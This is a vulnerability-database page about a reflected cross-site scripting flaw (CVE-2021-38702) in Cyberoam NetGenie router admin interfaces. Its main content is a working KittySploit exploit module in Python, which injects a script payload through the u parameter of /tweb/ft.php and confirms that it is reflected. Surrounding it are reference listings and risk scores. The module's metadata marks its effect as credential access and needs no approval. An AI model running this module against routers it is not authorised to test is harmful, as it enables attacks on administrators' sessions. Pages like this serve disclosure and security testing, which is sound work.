Lucene search
+L

Cyberoam NetGenie XSS (CVE-2021-38702)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Reflected XSS in Cyberoam NetGenie router admin interfaces via the u parameter of /tweb/ft.php.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-38702
17 Aug 202120:15
–attackerkb
circl
Circl
CVE-2021-38702
1 Sep 202620:02
–circl
cnnvd
CNNVD
Cyberoam NetGenie 跨站脚本漏洞
17 Aug 202100:00
–cnnvd
cve
CVE
CVE-2021-38702
17 Aug 202119:28
–cve
cvelist
Cvelist
CVE-2021-38702
17 Aug 202119:28
–cvelist
kittysploit
KittySploit
Cyberoam NetGenie Cross-Site Scripting Detection
28 Jul 202611:27
–kittysploit
nuclei
Nuclei
Cyberoam NetGenie Cross-Site Scripting
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2021-38702
17 Aug 202120:15
–nvd
osv
OSV
CVE-2021-38702
17 Aug 202120:15
–osv
packetstorm
Packet Storm
Cyberoam NetGenie Cross Site Scripting
17 Aug 202100:00
–packetstorm
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cyberoam NetGenie reflected XSS (CVE-2021-38702)."""

import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Cyberoam NetGenie XSS (CVE-2021-38702)',
        'description': (
            'Exploits CVE-2021-38702 in Cyberoam NetGenie: reflected XSS via the u '
            'parameter of /tweb/ft.php on router admin interfaces.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-38702'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-38702'],
        'tags': ['cyberoam', 'netgenie', 'router', 'xss', 'vkev'],
        'agent': {
            'risk': 'medium',
            'effects': ['credential_access'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['admin_surface'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_38702_detect']},
        },
    }

    xss_payload = OptString(
        '</script><script>alert(document.domain)</script>',
        'XSS payload for u parameter',
        required=False,
    )

    def check(self):
        probe = urllib.parse.quote(str(self.xss_payload or '</script><script>alert(document.domain)</script>'), safe='')
        path = f'/tweb/ft.php?u={probe}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and '</script><script>alert(document.domain)</script>' in body:
            return {'vulnerable': True, 'reason': 'NetGenie XSS confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'NetGenie XSS not reflected', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('Cyberoam NetGenie not vulnerable')
            return False
        print_success('Reflected XSS confirmed on /tweb/ft.php')
        self.vulnerable()
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
6.2Medium risk
Vulners AI Score6.2
CVSS 24.3
CVSS 3.16.1
EPSS0.06929
0